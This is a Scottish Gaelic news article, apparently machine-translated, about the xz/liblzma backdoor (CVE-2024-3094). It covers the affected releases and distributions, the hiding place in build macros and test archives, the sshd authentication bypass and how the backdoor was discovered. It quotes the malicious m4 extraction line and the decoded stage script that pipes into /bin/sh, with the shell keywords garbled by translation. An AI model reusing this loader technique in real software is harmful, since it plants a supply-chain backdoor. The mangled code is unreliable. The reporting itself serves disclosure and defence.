Chaidh doras cùil a lorg anns an leabharlann xz/liblzma a leigeas le daoine faighinn a-steach tro sshd

Ann am pasgan XZ Utils, a tha a’ toirt a-steach leabharlann liblzma agus goireasan airson a bhith ag obair le dàta teann ann an cruth “.xz”, chaidh backdoor (CVE-2024-3094) a chomharrachadh a leigeas le bhith a’ toirt a-steach agus ag atharrachadh dàta air a phròiseasadh le tagraidhean co-cheangailte. leis an leabharlann liblzma. Is e prìomh thargaid an backdoor am frithealaiche OpenSSH, a tha ann an cuid de sgaoilidhean air a phasgadh leis an leabharlann libsystemd, a bhios an uair sin a’ cleachdadh liblzma. Le bhith a’ ceangal sshd ri leabharlann so-leònte a’ leigeil le luchd-ionnsaigh faighinn chun t-seirbheisiche SSH gun dearbhadh.

Bha an backdoor an làthair anns na fiosan oifigeil 5.6.0 agus 5.6.1, a chaidh fhoillseachadh air 24 Gearran agus 9 Màrt, a fhuair air adhart gu cuid de sgaoilidhean agus stòran, mar eisimpleir, Gentoo, Arch Linux, Debian taobh / neo-sheasmhach, Fedora Rawhide agus 40-beta, factaraidh openSUSE agus tumbleweed, LibreELEC, iomall Alpach, Solus, NixOS neo-sheasmhach, OpenIndiana, OpenMandriva rolling, pkgsrc gnàthach, Slackware gnàthach, deuchainn Manjaro. Thathas a’ moladh gun cuir a h-uile neach-cleachdaidh fiosan xz 5.6.0 agus 5.6.1 air ais gu dreach 5.4.6.

Am measg nam factaran a tha a’ lughdachadh na trioblaid, faodar a thoirt fa-near nach do shoirbhich leis an dreach de liblzma le backdoor a bhith mar phàirt de na sgaoilidhean seasmhach de sgaoilidhean mòra, ach thug e buaidh air openSUSE Tumbleweed agus Fedora 40-beta. Chleachd Arch Linux agus Gentoo dreach so-leònte de zx, ach chan eil iad buailteach don ionnsaigh leis nach eil iad a ’cur a’ phìos systemd-fios gu openssh, a dh ’adhbhraicheas sshd a bhith ceangailte ri liblzma. Chan eil an backdoor a’ toirt buaidh ach air siostaman x86_64 stèidhichte air an kernel Linux agus leabharlann Glibc C.

Chaidh an còd gnìomhachaidh backdoor fhalach ann am macros m4 bhon fhaidhle build-to-host.m4 a chleachd an inneal automake nuair a bha e a’ togail. Rè co-chruinneachadh, nuair a chaidh gnìomhachd toinnte toinnte a dhèanamh stèidhichte air tasglannan (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), air a chleachdadh gus ceartachd an obrachaidh a dhearbhadh, chaidh faidhle nì le còd droch-rùnach a chruthachadh, a chaidh a ghabhail a-steach ann an leabharlann liblzma agus dh’ atharraich e loidsig obrachaidh cuid de na gnìomhan aige. Bha na macros m4 a bhios a’ gnìomhachadh an backdoor air an toirt a-steach do na bàlaichean fuasglaidh, ach cha robh iad ann an stòr Git. Aig an aon àm, bha tasglannan deuchainn droch-rùnach an làthair anns an stòr, i.e. bha cothrom aig an neach a chuir an cùl-raon an gnìomh an dà chuid air an ionad-tasgaidh agus air na pròiseasan gineadh fuasglaidh.

Nuair a bhios tu a’ cleachdadh liblzma ann an tagraidhean, dh’ fhaodadh atharrachaidhean droch-rùnach a bhith air an cleachdadh gus casg a chuir air dàta no atharrachadh, no buaidh a thoirt air gnìomhachd sshd. Gu sònraichte, chuir an còd droch-rùnach às don ghnìomh RSA_public_decrypt gus faighinn seachad air pròiseas dearbhaidh sshd. Bha an cùl-raon a’ toirt a-steach dìon bho lorg agus cha do nochd e e fhèin nuair a chaidh na caochladairean àrainneachd LANG agus TERM a shuidheachadh (ie, nuair a bha iad a’ ruith a’ phròiseas anns a’ cheann-uidhe) agus cha deach caochladairean àrainneachd LD_DEBUG agus LD_PROFILE a shuidheachadh, agus cha deach a ghnìomhachadh cuideachd ach nuair a bhathar a’ cur an gnìomh an /usr/sbin/sshd faidhle so-ghnìomhaichte . Bha dòigh aig an doras cùil cuideachd air coileanadh a lorg ann an àrainneachdan deasbaid.

Gu sònraichte, chleachd am faidhle m4/build-to-host.m4 gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Anns a’ chiad togail, lorg gnìomhachd grep na deuchainnean faidhle/files/bad-3-corrupt_lzma2.xz, a ghineadh, nuair a chaidh a dhì-phapadh, an sgriobt: ####Hello#### #345U211267$^D330^W [! $(uname) = "Linux" ] && fàgail 0 [ ! $(uname) = "Linux" ] && fàgail 0 [ ! $(uname) = "Linux" ] && fàgail 0 [ ! $(uname) = "Linux" ] && fàgail 0 [ ! $(uname) = "Linux" ] && fàgail 0 eval `grep ^srcdir= config.status` ma tha deuchainn -f ../../config.status;an uairsin eval `grep ^srcdir= ../../config .status` srcdir = "../../$srcdir» fi export i =» ((ceann -c +1024>/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/) null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann -c +2048 && (ceann - c +1024 >/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann - c +2048 && (ceann -c +1024>/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann -c +2048 && (ceann -c +1024>/ dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann -c +2048 && ( ceann -c +1024 >/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann -c +2048 && (ceann -c +1024>/dev/null) && ceann -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F amh —lzma1 -dc|/bin/sh ####World####

Chan eil mar a chaidh aig an luchd-ionnsaigh air faighinn gu bun-structar pròiseact xz air a làn shoilleireachadh fhathast. Chan eil e soilleir fhathast cia mheud neach-cleachdaidh agus pròiseact a chaidh an cunnart mar thoradh air an doras cùil. Bha ùghdar casaid an backdoor (JiaT75 - Jia Tan), a chuir tasglannan le còd droch-rùnach san stòr, a ’conaltradh ri luchd-leasachaidh Fedora agus a’ cur iarrtasan tarraing gu Debian co-cheangailte ri gluasad sgaoilidhean gu meur xz 5.6.0, agus cha do rinn e sin. togail amharas, bhon a ghabh e pàirt ann an xz air a bhith a’ leasachadh airson an dà bhliadhna a dh’ fhalbh agus is e an dàrna leasaiche a thaobh an àireamh de dh’ atharrachaidhean a chaidh a dhèanamh. A bharrachd air a’ phròiseact xz, ghabh ùghdar casaid an backdoor pàirt cuideachd ann an leasachadh nam pasganan xz-java agus xz-emedded. A bharrachd air an sin, chaidh Jia Tan beagan làithean air ais a thoirt a-steach don àireamh de luchd-gleidhidh a ’phròiseict XZ Embedded a chaidh a chleachdadh anns an kernel Linux.

Chaidh an t-atharrachadh droch-rùnach a lorg às deidh mion-sgrùdadh a dhèanamh air cus caitheamh CPU agus mearachdan a chruthaich valgrind nuair a bha iad a’ ceangal tro ssh ri siostaman stèidhichte air taobh Debian. Bu chòir a thoirt fa-near gun robh an sgaoileadh xz 5.6.1 a’ toirt a-steach atharrachaidhean a dh’ ullaich ùghdar casaid an backdoor mar fhreagairt do ghearanan mu shlaodadh sshd agus tubaistean a dh’ èirich às deidh ùrachadh gu dreach zx 5.6.0 leis an backdoor. A bharrachd air an sin, an-uiridh rinn Jia Tan atharrachaidhean nach robh co-chosmhail ris a’ mhodh sgrùdaidh “-fsanitize= address”, ag adhbhrachadh gun deach a chiorramachadh aig àm deuchainn fuzz.

Source: fosgailtenet.ru

Cuir beachd ann